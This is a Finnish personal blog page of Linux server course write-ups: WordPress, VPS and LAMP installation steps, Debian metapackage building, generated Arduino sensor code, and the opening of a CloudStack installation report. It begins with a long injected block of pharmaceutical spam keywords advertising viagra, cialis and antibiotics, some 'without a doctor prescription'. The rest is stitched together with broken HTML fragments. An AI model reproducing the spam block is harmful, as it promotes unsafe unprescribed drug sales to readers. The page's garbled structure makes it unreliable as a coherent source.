This website for my publications and posts. I’m not trying to sell anything to anyone. I’m not saying that I’m always right, and I do not promise forever keep and not to change my publications. So enjoy reading. And I’ll be glad if someone will like it.

You can copy and quote freely and better if often. Copyleft @ GoMummi.Com

viagra 100 acyclovir 800 mg for shingles levitra bayer 20mg meilleur prix weaning off lexapro how to take cialis buy levitra online cialis generic tadalafil discount viagra what is cipro usually prescribed for what is azithromycin lexapro 10 mg cialis coupon generic levitra vardenafil 20mg levitra prezzo in farmacia ciprofloxacin for dogs viagra on line cipro azithromycin 250mg ciprofloxacin side effects after age 60 lexapro vs zoloft azithromycin side effects ciprofloxacin spc cialis tadalafil side effects of tamoxifen tamoxifen citrate levitra 20 mg von bayer azithromycin 500 tamoxifen and bone pain lexapro overdose finasteride hair loss free cialis azithromycin without a doctor’s prescription buy cialis online viagra natural ciprofloxacin 500 mg for urinary tract infection lexapro finasteride results lexapro and wellbutrin combination therapy viagra vs cialis acyclovir 800 mg 5 times a day ciprofloxacin bnf tamoxifen side effects in women cialis trial zovirax dosage zoloft vs lexapro viagra price viagra soft acyclovir for shingles ciprofloxacin 500mg antibiotics cialis effects what is tamoxifen side effects of acyclovir how to use viagra acyclovir cream cipro uses zovirax ointment generic for lexapro what bacteria does ciprofloxacin kill ciprofloxacin 500mg antibiotics side effects levitra without a doctor prescription where to buy viagra side effects of lexapro in women cialis cost ciprofloxacin ophthalmic solution viagra effects buy generic levitra cialis from canada viagra generic zovirax acyclovir ointment viagra 50mg cialis pills cipro dangers escitalopram 10mg viamedic cialis ciprofloxacin 500 mg ciprofloxacin drug class cheap cialis zithromax z-pak escitalopram effets secondaires finasteride dosage finasteride for women generic cialis tadalafil stopping lexapro cialis 5 mg viagra costs finasteride 5mg side effects azithromycin three times a week cialis free trial what does viagra do viagra sex azithromycin 250mg tablets 6 pack cialis 20mg directions ciprofloxacin 250mg what works better than viagra cialis samples overnight cialis pills for sale cialis for men is azithromycin lexapro 20mg herbal viagra levitra coupons cialis 20 mg azithromycin cipro for uti levitra vs viagra viagra cialis side effects lexapro viagra tablets generic cialis wellbutrin and lexapro effects of stopping lexapro suddenly withdrawal from lexapro is azithromycin penicillin ciprofloxacin 500 azithromycin drug class tamoxifen bijwerkingen viagra prices viagra for women acyclovir vs valacyclovir cialis samples levitra 20 mg cialis price viagra activate cheap viagra tamoxifen side effects in women over 55 9 levitra at walmart cialis copay card azithromycin dosage levitra 20 mg cost walmart cialis canadian pharmacy ciprofloxacin dosierung order viagra how long for lexapro to work levitra dosage cialis coupons 2017 lexapro reviews cialis reviews cialis 5mg cialis on line female viagra cialis coupons printable cyalis azithromycin 250 mg treatment over the counter viagra cealis lexapro vs celexa acyclovir 800mg viagra vs cialis vs levitra finasteride for hair loss wholesale cialis acyclovir dose viagra pillen kruidvat azithromycin 250 mg what does azithromycin treat finasteride and enlarged prostate 200 cialis coupon first few days on lexapro daily cialis how to wean off lexapro without withdrawals viagra pills cialis 5mg daily azithromycin 500 mg what is ciprofloxacin prescribed for azithromycin class lexapro coupons escitalopram 20 mg cialis coupon print how to get off lexapro finasteride 5 mg tab generic viagra levitra rezeptfrei deutschland how to wean off lexapro what is acyclovir for free viagra tamoxifen and foods to avoid acyclovir dosage viagra wikipedia acyclovir dosage for cold sores lowest cialis prices azithromycin tablets what is azithromycin used for lexapro and weight gain azithromycin 5 day dose pack buy generic viagra cialis prices lexapro weight gain azithromycin z pak acyclovir 400mg what is cipro used for cialis sample cialis pharmacy prices ciprofloxacin hcl 500 mg tab how does acyclovir work ciprofloxacin hcl 500 mg generic levitra levitra coupon finasteride side effects what is cipro what is ciprofloxacin used for how does cialis work what is lexapro used for what is finasteride pfizer viagra viagra vs cialis vs levitra cialis cheap azithromycin for strep throat azithromycine 250 mg cialis patent expiration date extended viagra substitute pfizer viagra coupons from pfizer escitalopram 10 mg para que sirve lexapro vs wellbutrin viagra viagra without a doctor prescription acyclovir medication viagra for men what does finasteride do viagra sans ordonnance lexapro withdrawal discount cialis azithromycin vs erythromycin cipro and tendonitis propecia side effects cialis coupons cipro antibiotic zithromax antibiotic vardenafil vs viagra what infections does ciprofloxacin treat liquid cialis zovirax cream zithromax 500 mg viagra alternative when will cialis go generic canada cialis side effects of ciprofloxacin 500 mg what is acyclovir used for viagra nebenwirkungen effects of stopping finasteride acyclovir side effects viagra alternatives azithromycin medscape tamoxifen cost what is tamoxifen used for cialis coupon 20 mg common side effects of ciprofloxacin 500 mg escitalopram side effects cialis pricing cialis professional acyclovir ciprofloxacin nebenwirkungen what is finasteride used for finasteride permanent side effects cialis generic ciprofloxacin 500mg tablets cialis otc acyclovir 200mg lexapro side effects lexapro generic name side effects of cialis sex viagra for women tamoxifen nebenwirkungen sophia viagra viagra kaufen propecia ciprofloxacin hcl acyclovir dosing what is viagra ciprofloxacin uses viagra side effects side effects of azithromycin azithromycin and alcohol tamoxifen therapy what is lexapro for tamoxifen interaction finasteride reviews viagra vs cialis viagra pill acyclovir 400 mg ciprofloxacin 500 mg tabletten cialis testimonials how long does viagra last cialis 10 mg cialis vs viagra buy cialis cialis for sale cost of viagra ciprofloxacin coverage levitra cialis alternative viagra tesco is ciprofloxacin a penicillin viagra 100mg ciprofloxacin 500mg viagra uk azithromycin for pneumonia viagra cost how does viagra work levitra 20mg tamoxifen and weight gain post finasteride syndrome viagra 100 mg lexapro and weight loss tamoxifen lawsuits lexapro dosages azithromycin for uti cipro side effects levitra 20 mg precio farmacia lexapro medication azithromycine eg 500 mg bijsluiter escitalopram nebenwirkungen cialis website women viagra azithromycin pregnancy cialis dosage strengths what is acyclovir levitra erfahrungen finasteride side effects in men cipro dosage ciprofloxacin hydrochloride finasteride tamoxifen side effects what is cialis what does ciprofloxacin 500mg treat how long for azithromycin to take effect price cialis azithromycin pregnancy category cialis without a doctor’s prescription equipe argentine viagra viagra receptfritt levitra vs viagra for hardness acyclovir 800 mg cialis 30 day sample canada viagra ciprofloxacin dosage lexapro and weight gain in women ciprofloxacin used for cialis discount cialis side effects levitra 20mg cost per pill ciprofloxacin best price viagra lexapro side effects men azithromycin tablet escitalopram oxalate canadian viagra azithromycin pediatric dosing finasteride 1mg ciprofloxacin side effects ciprofloxacin 250 mg lexapro dosage side effects of lexapro 10 mg viagra tablet lexapro manufacturer website levitra vs viagra finasteride 5 mg is lexapro a controlled substance tamoxifen langzeitfolgen what is lexapro canadian cialis cipro 500 acyclovir ointment 5 viagra 100mg tablets retail price generic for cialis azithromycin 250 viagra online cialis 20mg side effects of azithromycin 250 mg nolvadex levitra generic viagra coupons azithromycin liquid levitra online cialis patent expiration is tamoxifen chemotherapy azithromycin eye drops natural viagra lexapro dosing cialis generic availability cialis for daily use viagra coupon thuoc azithromycin what is escitalopram cialis side effects of viagra side effects of lexapro viagra en ligne livraison 24h levitra prices viagra medicine viagra on line no prec cialis dosage buy levitra finasteride 5mg tab cialas cialis daily lexapro 5mg finasteride tablets viagra samples side effects of finasteride 5mg ciprofloxacin drops zithromax dosage lexapro side effects in men viagra from canada celexa vs lexapro finasteride effets secondaires generic lexapro buy viagra online cialis online what does ciprofloxacin treat azithromycin cost viagra generico viagra bestellen cialis vs viagra erectile dysfunction cialis cialis savings card does lexapro cause weight gain viagra without a doctor prescription usa azithromycin coverage utilisation viagra what is azithromycin for how much does cialis cost escitalopram ciprofloxacin dose online viagra buy viagra levitra 10 mg prezzo lexapro for anxiety zithromax cialis for women ciprofloxacin eye drops finasteride efectos secundarios side effects of finasteride buying viagra generic cialis at walmart azithromycine lexapro benefits for women vardenafil 20mg side effects of ciprofloxacin finasteride 5mg lexapro para que sirve viagra ohne rezept auf rechnung acyclovir for cold sores azithromycin uses online cialis viagra canada ciprofloxacin class cialis or viagra viagra dosage zovirax pills viagra for sale finasteride 5mg side effects mayo clinic zovirax for cold sores cialis medication tamoxifen ciprofloxacin hcl 500 mg side effects cipro drug class viagra wiki how does lexapro work antibiotic ciprofloxacin cipro antibiotics ciprofloxacin side effects in women generic viagra 100mg cilias cialis voucher cheap levitra cost of cialis viagra ohne rezept aus deutschland viagra for sale uk lexapro withdrawal symptoms finasteride medication finasteride vs dutasteride cialis patent expiration 2017 lexapro generic lexapro bula viagra single packs cialis canada cipro side effects in elderly lexapro 10mg cialis 30 day trial coupon escitalopram 10 mg lexapro side effects in women cialis coupons from manufacturer cialis dosage recommendations what is ciprofloxacin revatio vs viagra azithromycin 500mg cialis for bph finasteride long term effects ciprofloxacin hydrochloride ophthalmic azithromycin 500 erfahrungen

Linux palvelimena

Tehtävä 7 – WordPress – asennus VPS:lle

Jatkan tehtävässä 6 asennetulle VPS:lle

Kokeilin asentaa WordPress oppitunnilla. Sain sen toimimaan, mutta luokassa asensin sen Labra-koneelle enkä ehtinyt ottaa kaikkea talteen. Nyt asennan sen VPS:lle mikä asensin edellisessä tehtävässä. Tämän jälkeen minulla on toimiva WordPress omalla VPS:lla ja mitä on arvokkampi kokemus sen asentamisesta.

Mitä on tehty edellisessa tehtävässä:

  • Asensin Digital Ocean VPS
  • Asensin sinne LAMP
  • Liitin sinne domain nimen:

Jatkan MYSQL-osiosta:

Luodaan taulu, luodan käyttäjä, annetaan käyttäjälle oikeus käyttämään taulua:(suosittelen käyttämään eri nimet ja salasana kun tässä. ainakin minä itse tein niin)

mysql -u root -p
CREATE DATABASE wordpress;
CREATE USER wordpressuser@localhost IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wordpress.* TO wordpressuser@localhost;
FLUSH PRIVILEGES;
exit

Käyttäjän home-kansioon ladataan wordpress.org sivustolta viimeisen version  tar-tiedosto

wget http://wordpress.org/latest.tar.gz

Puretaan se ja kopioidan konfiguration tiedosto ja avatan se nano:lla

tar xzvf latest.tar.gz

 

Puretussa tiedostossa oli wordpress niminen kansio. Ladataan vielä plugin

sudo apt-get install php5-gd

 sudo apt-get install libssh2-php

(TÄRKEÄ: Tämä toimii Ubuntu 14.04:ssa muissa paketeissa plugin voi olla eriniminen.)

Siirrytään kansioon joka oli purettu latamasta tiedostosta

cd wordpress

Kopioidaan konfiguraatiot samplesta varsinaiseen konfiguraatio-tiedostoon ja muokataan ne nanolla

cp wp-config-sample.php wp-config.php 
nano wp-config.php

Kirjoitin näihin kentiin samat tiedot mitä laitoin luomani MySQL-tietokantaan:

(muista laita valitsemasi nimet ja salasana)

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpressuser');

/** MySQL database password */
define('DB_PASSWORD', 'password');

kopioidaan wordpress tiedostot web-palvelimen kansion /var/www/html/

sudo rsync -avP ~/wordpress/ /var/www/html/

cd /var/www/html/

Nyt pitää vielä antaa oikeuksia muokkamiseen

sudo chown -R user:www-data *

(user on sinun oma käyttäjän nimi mille oikeudet annetaan)

Luodaan kansio laadattaville materiaalille mitä halutaan julkaistaa sivuilla esim. kuvat, videot ym. ja muokkataan sen oikeudet.

mkdir /var/www/html/wp-content/uploads

sudo chown -R :www-data /var/www/html/wp-content/uploads

Nyt kun kokeilee korjoittaa selaimessa  koneen IP mille asennuksen tehdään tulee WordPress:in web-käyttöliittymä. Pitää vain kirjoittaa sivuston nimen, käyttäjänimen salasanan ja Asennus on valmis.

Minun oma asennus on  nähtävissä gomummi.com

wordpress-web-configuration

successful

Lähteet:

matto.guru

https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-on-ubuntu-14-04

http://terokarvinen.com/2016/aikataulu-linux-palvelimena-ict4tn003-22-ja-23-alkusyksy-2016

Tehtävä 6 – VPS – asennus 

Oppitunnilla käytin aikaisemmin asentamani ubuntu MS Azure palvelussa. Päätin sitten kuitenkin käyttämään GitHub Education Pack etua, eli asentaa Digital Ocean VPS konetta. Olen rekisteröinyt Digital Ocean sivuilla rekisteröitymään. Kirjoitin Promo Codes kohtaan saamani GitHub Education Pack:ista Digital Ocean promo-tunnuksen. Tuli ilmoitus että tililläni nyt on 50€ käyttövaara mikä on voimassa 12 kuukauden ajan tästä päivästä lähtien.

Olen luonnut halvin mahdollinen Droplet, joka maksaa 5€ kk.

1 core / 512 MB Memory / 20 GB Disk / FRA1 – Ubuntu 16.04.1 x64

(Tärkeä: Ohjeet toimivat Ubuntu 14.04 versiossa, muissa paketeissa daemonien nimet ja syntaksi ovat vähän erillaiset.  )

Asensin monta eri konetta millä kokeilin eri vaihtoehtoja. Täällä toimii ns. minuuttiveloitus, eli palvelua laskutetaan vain käynissä olevien koneiden ajasta. Minun tapauksessa 5€/kk eli 0,007€/h. Samalla pystyn käyttämään vain 10 konetta. On mahdollisuus asettaa konelle Private networking, IPv6, Backups mitkä ovat lisäpalveluita ja maksavat lisää. Esimerkiksi varmuuskopionti nostaa koneen hinnan 20%.

Sitten muutamassa sekunnissa virtualikone oli valmis. Kokeilin kirjautua Console-ikkunan kautta.  Kirjauduin root tunnuksilla ja annoin salasanaksi sähköpostille saapunut salasanalla, minkä järjestelmä käski heti vaihtamaan.

Digital Ocean VPS pääsee käyttämään myös Console:n kautta, jos tarvitse tehdä joku pieni tehtävä tai muutos koneessa. Tämä on kätevä ominaisuus mikä monilla puuttuu. Esimerkiksi Microsoft Azure:ssa ja monilla muilla VPS palvelun tarjoajilla on mahdollista päästää koneisiin vain SSH-yhteyden kautta.

 Ensimmäisenä päivänä tutustuttiin ARDUINO platformiin ja sensoreihin. Sain rakennettua lämpö- ja kosteusmittarin LCD-näytöllä. Käytin tähän internetistä löytynyt venäjänkiellinen ohjelma FLProg jolla pystyy valitsemaan Arduino platformin ja lisämään komponenttia graafisella käyttöliittymällä sitten ohjelma lisää tarvitsevat kirjastot ja generoi C++ koodin. Koska koodi on generoitu se näyttää oudolta.

</header>
<p> </p>
<p><img class="alignnone size-medium wp-image-192" src="http://gomummi.com/wp-content/uploads/2017/05/20170530_113054_001-300×225.jpg" alt="" width="300" height="225" /></p>
<p>PINS:</p>
<p><strong>DHT 11 sensori:</strong></p>
<p>Data-pin kytketään D5:seen 10kOm transistorin kautta,</p>
<p>GND –> GND,</p>
<p>VCC–> V5+</p>
<p><strong>LCD-näyttö:</strong></p>
<p>SDA-pin kytketään A4:seen</p>
<p>SCL-pin kytketään A5:seen</p>
<p>GND –> GND,</p>
<p>VCC–> V5+</p>
<p><strong>CODE:</strong></p>
<p>/*<br />
* Author: FLProg & PANALEX<br />
* Sensor: DHT 11 – PIN D5 ( 10kOm betwin pin 5 & 5V+)<br />
* LCD: SDA: PIN A4, SCL: PIN A5<br />
*/</p>
<p>#include <Wire.h><br />
#include <LiquidCrystal_I2C.h><br />
#include “DHT_NEW.h”<br />
LiquidCrystal_I2C _lcd1(0x27, 16, 2);<br />
int _dispTempLength1 = 0;<br />
boolean _isNeedClearDisp1;</p>
<p>DHT _dht1;</p>
<p>String _gtv1;<br />
String _gtv2;<br />
int _disp1oldLength = 0;<br />
int _disp2oldLength = 0;<br />
unsigned long _dht1LRT = 0UL;<br />
unsigned long _dht1Tti = 0UL;<br />
void setup()<br />
{<br />
Wire.begin();<br />
delay(10);<br />
_lcd1.init();<br />
_lcd1.backlight();<br />
_dht1.setup(5);<br />
_dht1LRT = millis();<br />
_dht1Tti = millis();<br />
}<br />
void loop()<br />
{ if (_isNeedClearDisp1) {<br />
_lcd1.clear();<br />
_isNeedClearDisp1 = 0;<br />
}</p>
<p>//Плата:1<br />
if (_isTimer(_dht1Tti, 1000)) {<br />
if (_isTimer(_dht1LRT, ( _dht1.getMinimumSamplingPeriod()))) {<br />
_dht1.readSensor();<br />
_dht1LRT = millis();<br />
_dht1Tti = millis();<br />
}<br />
}<br />
_gtv1 = ((String(“Temperature:”)) + (( _floatToStringWitRaz(_dht1.temperature, 0))) + (String(“C”)));<br />
_gtv2 = ((String(“Humidity:”)) + (( _floatToStringWitRaz(_dht1.humidity, 0))) + (String(“%”)));<br />
if (1) {<br />
_dispTempLength1 = ((((_gtv1) + (String(“”))))).length();<br />
if (_disp2oldLength > _dispTempLength1) {<br />
_isNeedClearDisp1 = 1;<br />
}<br />
_disp2oldLength = _dispTempLength1;<br />
_lcd1.setCursor(int((16 – _dispTempLength1) / 2), 0);<br />
_lcd1.print((((_gtv1) + (String(“”)))));<br />
} else {<br />
if (_disp2oldLength > 0) {<br />
_isNeedClearDisp1 = 1;<br />
_disp2oldLength = 0;<br />
}<br />
}<br />
if (1) {<br />
_dispTempLength1 = ((((String(“”)) + (_gtv2)))).length();<br />
if (_disp1oldLength > _dispTempLength1) {<br />
_isNeedClearDisp1 = 1;<br />
}<br />
_disp1oldLength = _dispTempLength1;<br />
_lcd1.setCursor(int((16 – _dispTempLength1) / 2), 1);<br />
_lcd1.print((((String(“”)) + (_gtv2))));<br />
} else {<br />
if (_disp1oldLength > 0) {<br />
_isNeedClearDisp1 = 1;<br />
_disp1oldLength = 0;<br />
}<br />
}<br />
}<br />
String  _floatToStringWitRaz(float value, int raz)<br />
{</p>
<p>return String(value, raz);<br />
}<br />
bool _isTimer(unsigned long startTime, unsigned long period )<br />
{<br />
unsigned long currentTime;<br />
currentTime = millis();<br />
if (currentTime >= startTime) {<br />
return (currentTime >= (startTime + period));<br />
} else {<br />
return (currentTime >= (4294967295 – startTime + period));<br />
}<br />
}</p>
” data-medium-file=”” data-large-file=”” class=”alignnone size-full wp-image-196″ src=”https://pantsesnyi.files.wordpress.com/2016/04/created.png?w=700&fit=300%2C300″ alt=”created” data-recalc-dims=”1″ />

Laitoin konsoli ikkunan kiinni. Kirjauduin sisään SSH – Putty:lla

Laitoin palomuuri päälle:

ufw allow 22/tcp

ufw enable

Kysyttiin olenko varma? muuten SSH yhteys katkea.

Olen luonut uuden käyttäjän sekä lisännyt sen ryhmiin.

adduser alex
adduser alex sudo
adduser alex adm

Kirjauduin uudelleen uudella käyttäjällä ja lukitsin root tunnuksen

sudo usermod –lock root

Kokeilin kirjautua root:illa toisessa Putty ikkunassa:

login as: root
root@138.68.92.167’s password:
Access denied
root@138.68.92.167’s password:

ROOT on lukittu.

Asensin Apache

apt-get update

apt-get install apache2

avasin portti TCP 80 web palvelimelle

ufw allow 80/tcp

Minulla on ollut muutama halpa domain nimiä just testikäyttöä varten. Niin menin muutamaan DNS asetuksia GoDaddy.Com sivuille.

 

dns

Kokeilin muodostaa yhteyttä  ping:illä

ping

Ping toiminut. Sitten kokeilin domainin toiminta web-selaimessa. Avautui Apache:n sivu.

Yritin kirjautua Putty:lla käyttämällä domainia IP- osoitteen sijaan.

Kun olen asentanut LAMP voi lukea tehtävässä 5 “LAMP asennus”

Kun olen luonut kansion käytäjälle ja yritin käynistää apache2 pyydettiin vahvistusta. 

sudo a2enmod userdir
service apache2 restart

mkdir public_html

==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to restart ‘apache2.service’.
Authenticating as: ,,, (alex)
Password:
==== AUTHENTICATION COMPLETE ===

sudo apt-get update
sudo apt-get install php5
sudo apt-get install phpmyadmin

Valitsin molemmat serverit käynistämään phpmyadmin

Tuli viesti haluanko päivittää SQL tietokannan:

Valitsin Yes ja annoin käyttäjätunnuksen ja salasanan

Sitten tarkistin tietokannan.
mysql -u root -p
mysql>
quit

Tehtävässä oli vielä yksi osio. Pitää laitaa monta DNS-nimeä samaan IP-osoitteeseen. Apache Name Based Virtual Hosting. Jatkan tästä nyt. Päätin ensin ottaa Snapshot, ettei tapahdu kitään korjamatonta. On vielä hyvää tilaisuus kokeila Snapshotin ottamista. Se maksaa 0,05 € per 1GB per kuukausi.

snapshot

Minun koneen snapshot on 1,7 GB kokoinen. Yhteensä se tekee muutamaa sentti per kuukausi. Snapshotista olen luonnut uuden koneen.

snapshot-kone

Sähköpostitse sain root tunnuksen salasanan, kun vaidoin sen kokeilin kirjautua minun käyttäjätunnuksella. Se onnistui ja käyttäjän juurikansiossa oli samat tiedostot kun vanhassa koneessa. Jatkan muokkataa vanhaa konetta.

 

 

https://jvaris.wordpress.com/2014/03/03/linux-server-task-5-apache-name-based-virtual-hosting/

 

Tehtävä 5 – LAMP – asennus

Varsinaiset tehtävät:

– Asenna LAMP. LAMP tarkoittaa Linux, Apache, MySQL, PHP. Tee pienin erikseen testattava kokonaisuus kerrallaan ja testaa aina asennetut osat. Jos ei toimi, lue lokeja.
– Tee MySQL:n uusi tietokanta ja samanniminen käyttäjä. Valitse hyvä salasana, joka on eri kuin muut salasanat.
– Tee PHP-skriptiin kirjoitusvirhe ja etsi virheilmoitus lokista. Analysoi löytynyt lokirivi.
– Tee johonkin Apachen asetustiedostoon kirjoitusvirhe ja etsi virheilmoitus lokista. Analysoi löytynyt lokirivi.

pe 23.09.2016  –   Lähetin hakemuksen GitHub Education paketille.

Asensin Apache komennolla:

sudo apt-get install apache2

Asetin käyttäjille kotisivuhakemiston sallituksi komennolla:

sudo a2enmod userdir

käynistin uudelleen apache:

sudo service apache2 restart

public_html kansio oli luotu edellisessä tehtävässä. Lisäsin sinne index.html tiedoston.

html

asensin php komennolla:

sudo apt-get install php5

no-php5

Tuli omituinen viesti että php5 ei voi asentaa…

jatkan tehtävän  toisella konella.

parin tunnin jälkeen kokeilin muuttaa komentoa.

Komento: sudo apt-get install php onnistui

Seuraavaksi:

sudo apt-get install mysql-server phpmyadmin

Pyydettiin uusi salasana root käyttäjälle

ja millä serverillä voi käyttää phpmyadmin

Valitsin molemmat apache2 ja lighttp.

Pyydettiin salasana phpmyadmin:ille

phpmyadmin

Valitsin salasana phpmyadmin:ille

Kirjauduin mysql:iin

mysql -u root -p

rudulle tuli

mysql>

Lähdin pois komennolla

quit

 

 

 

LÄHTEET:

matto.guru

phpmyadmin.net

 

Links:

gandi.net  – Domains

namecheap.com – Domains

https://letsencrypt.org/ – saa ilmaisen “Certificate Authority”

sqlzoo.net – SQL “eläntarha” – Jos SQL tietoja ruostessa, niin tämä on hyvä sivusto

 

Tehtävä 4 – Metapaketit 

Tehtäväksianto:

– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla

Käytän tehtävässä aiemmin luotu MS-Azure virtuaali Ubuntu 16.04 LTS. Otin yhteyttä koneseen putty:lla.

Alussa päivitin paketteja komennolla:

sudo apt-get update

Käytän paketin valmistamiseen equivs ohjelman. Asensin sen komennolla:

sudo apt-get install equivs

Asennus onnistui.

Seuraavaksi loin uuden kansion metapaketti ja siirryin sinne.

mkdir metapaketti

cd metapaketti

Seuraavaksi loin asennustiedoston equivs:llä

Kansioon syntyi tiedosto metapaketti.cfg avasin sen nano:lla

nano metapaketti.cfg

Ilmestyi tyhjä sivu nanolla.????

Tutkittuani huomasin kirjoitusvirhen metapeketti.cfg

Oikea komento avasi metapaketti.cfg nano:lla.

Tiedostossa muokkasin seuraavat kohdat: Package, Version, Maintainer, Dependsja Description. Depends-kohtaan määrittelin mitkä ohjelmat pakettiin halutaan. wireshark, munin, lintian

<p>
function googleTranslateElementInit() {
new google.translate.TranslateElement({pageLanguage: 'fi', layout: google.translate.TranslateElement.InlineLayout.HORIZONTAL, multilanguagePage: true}, 'google_translate_element');
}
//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit</p>
<p>Tänä syyslukukaudella olemme ryhmäni kansssa asentaneet CloudStack Ubuntulle. Asennuksia olivat yhteen koneseen ja kolmeen koneseen. tässä on siitä raportti.</p>
<h2>CloudStack-ympäristön luonti</h2>
<h3>(Ubuntu 14.04 & Hypervisor KVM)</h3>
<p> </p>
<p> </p>
<table width="103%">
<tbody>
<tr>
<td colspan="2" width="100%"><strong>Tekijä(t) </strong></p>
<p>Eelis Orvas, Aleksandr Pantsesnyi, Markus Tirronen, Jaakko Vehkamäki</p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"><strong>Koulutusohjelma:  Haaga-Helia Tietojenkäsittely<br />
</strong></td>
</tr>
<tr>
<td width="80%"><strong>Raportin nimi:   </strong>CloudStack-ympäristön luonti</td>
<td width="19%"><strong> </strong></p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"> </p>
<p>Tässä projektiraportissa kuvaillaan Apache CloudStack 4.4 ja  versioiden asennusta Single-node asennuksena, sekä Apache CloudStack 4.6 Multi-node asennuksena.</p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"><strong>Asiasanat</strong></p>
<p>CloudStack 4.4, Cloudstack 4.6, Ubuntu 14.04, Virtual machine Hypervisor KVM</td>
</tr>
</tbody>
</table>
<p> </p>
<p> </p>
<p>Sisällys</p>
<p><a name="_Toc175036408"></a><a href="#_Toc469062760">1    Johdanto</a></p>
<p><a href="#_Toc469062761">2    Lähtötilanne</a></p>
<p><a href="#_Toc469062762">2.1     Asennusohjeiden tutkiminen ja materiaalin hankinta</a></p>
<p><a href="#_Toc469062763">3    Siirtokovalevy määrittelyt </a></p>
<p><a href="#_Toc469062764">3.1     Käyttöjärjestelmän asennus ja asetusten määrittely</a></p>
<p><a href="#_Toc469062765">3.2     Verkkoasetukset </a></p>
<p><a href="#_Toc469062766">3.3     Etäyhteyden asennus</a></p>
<p><a href="#_Toc469062767">3.4     Apache2</a></p>
<p><a href="#_Toc469062768">3.5     Palomuuri</a></p>
<p><a href="#_Toc469062769">4    CloudStack-asennus siirtokovalevyille</a></p>
<p><a href="#_Toc469062770">4.1     Komponentit</a></p>
<p><a href="#_Toc469062771">4.2     NTP, SELinux, Repositoryt, MySQL ja cloudstack-management </a></p>
<p><a href="#_Toc469062772">4.3     NFS ja SystemVM template</a></p>
<p><a href="#_Toc469062773">4.4     KVM asennus ja konfigurointi</a></p>
<p><a href="#_Toc469062774">4.5     Cloudstack-konfigurointi</a></p>
<p><a href="#_Toc469062775">4.6     Käyttöliittymä</a></p>
<p><a href="#_Toc469062776">4.7     Reinstall-skripti</a></p>
<p><a href="#_Toc469062777">4.8     Ongelmia</a></p>
<p><a href="#_Toc469062778">5    Palvelinasennus (single node installation)</a></p>
<p><a href="#_Toc469062779">5.1     Alkutoimet</a></p>
<p><a href="#_Toc469062780">5.2     Linuxin asennus ja konfigurointi</a></p>
<p><a href="#_Toc469062781">5.3     IP-konfiguraatiot</a></p>
<p><a href="#_Toc469062782">5.4     ClousStackin asennus</a></p>
<p><a href="#_Toc469062783">5.5     MySQL serverin asennus</a></p>
<p><a href="#_Toc469062784">5.6     NFS asennus, export mount</a></p>
<p><a href="#_Toc469062785">5.7     Käyttöliittymän testaus</a></p>
<p><a href="#_Toc469062786">5.8     Web-käyttöliittymä</a></p>
<p> </p>
<p><a href="#_Toc469062788">Lähteet</a></p>
<p> </p>
<h1><a name="_Toc469062760"></a>1       Johdanto</h1>
<p>Raporttimme käsittelee CloudStack virtualisointialustan asennusta, kahdella eri tavalla. Tarkoituksena on asentaa CloudStack-ympäristö kolmelle siirtokovalevylle, joista yksi toimii Management-nodena, yksi Primary Storagena ja yksi Secondary Storagena. Toinen asennustapa on asentaa ympäristö yhdelle Haaga-Helian tarjoamalle palvelimelle. Projekti rajataan koskettamaan nimenomaan tämän ympäristön asennusta ja raportoimaan sen eri vaiheet.</p>
<p><strong><br />
</strong></p>
<h1><a name="_Toc175036409"></a><a name="_Toc166145015"></a><a name="_Toc469062761"></a>2       Lähtötilanne</h1>
<p>Ennen projektin toteuttamisen aloittamista teimme projektisuunnitelman, jossa suunnittelimme aikataulun ja alustavat vaiheet projektin toteuttamiseen. Minimitavoitteena oli luonnollisesti saada molemmat asennustoteutukset toimiviksi ja sen jälkeen katsoa kerkeisimmekö asentaa jonkinlaista seurantaohjelmistoa virtualisointialustalle. Oppimistavoitteina on oppia CloudStack-ympäristön asentaminen sujuvasti kahdella eri tavalla ja samalla tottua yhä enemmän Linuxin käyttämiseen. Päätimme aloittaa asennuksen ensimmäiseksi kolmelle siirtokovalevylle, koska mietimme sen syövän enemmän aikaa projektista.</p>
<p> </p>
<p> </p>
<h2><a name="_Toc469062762"></a>2.1      Asennusohjeiden tutkiminen ja materiaalin hankinta</h2>
<p>CloudStack on avoimen lähdekoodin virtualisointialusta, joten sen asennuksesta ja toiminnasta on saatavilla reilusti tietoa internetistä. Kurssin sivuille myös lisättiin vajaa 300-sivuinen Apache CloudStack Cloud Computing e-kirja, missä käydään läpi oikeastaan kaikki mahdollinen ympäristön asennuksesta. Ympäristön asennuksessa siirtokovalevyille päätimme kuitenkin seurata lähtökohtaisesti cloudstack.apache.org :n virallisia ohjeita.</p>
<p> </p>
<h1><a name="_Toc469062763"></a>3       Siirtokovalevy määrittelyt</h1>
<p>Ensimmäisenä tavoitteenamme oli asentaa CloudStack-ympäristö siirtokovalevyille. Siirtokovalevyt saimme Haaga-Helialta ja niiden koko oli 500GB/kappale. Siirtokovalevyjä käytimme luokassa 5005 olevilla labrakoneilla.</p>
<p> </p>
<h2><a name="_Toc469062764"></a>3.1      Käyttöjärjestelmän asennus ja asetusten määrittely</h2>
<p>Käyttöjärjestelmäksi valitsimme Ubuntu Server 14.04:sen, koska se oli helposti saatavilla koululta. Asensimme kaikkiin kolmeen siirtokovalevyyn käyttöjärjestelmän samaan aikaan. Teimme identtisen asennuksen kaikkiin, jossa määrittelimme 16384MB kokoisen swap arean ja 473GB kokoisen file arean. Asennuksissa valitsimme kieleksi Uuden-Seelannin (NZ), koska kyseisessä maassa on myös käytössä metrinen-järjestelmä. Maaksi valitsimme  Suomen (Finland).</p>
<p>Management siirtokovalevyn nimeksi tuli management.jp2cloud.com.</p>
<p>Primary Storage siirtokovalevyn nimeksi tuli primary.jp2cloud.com</p>
<p>Secondary Storage siirtokovalevyn nimeksi tuli secondary.jp2cloud.com</p>
<p> </p>
<h2><a name="_Toc469062765"></a>3.2      Verkkoasetukset</h2>
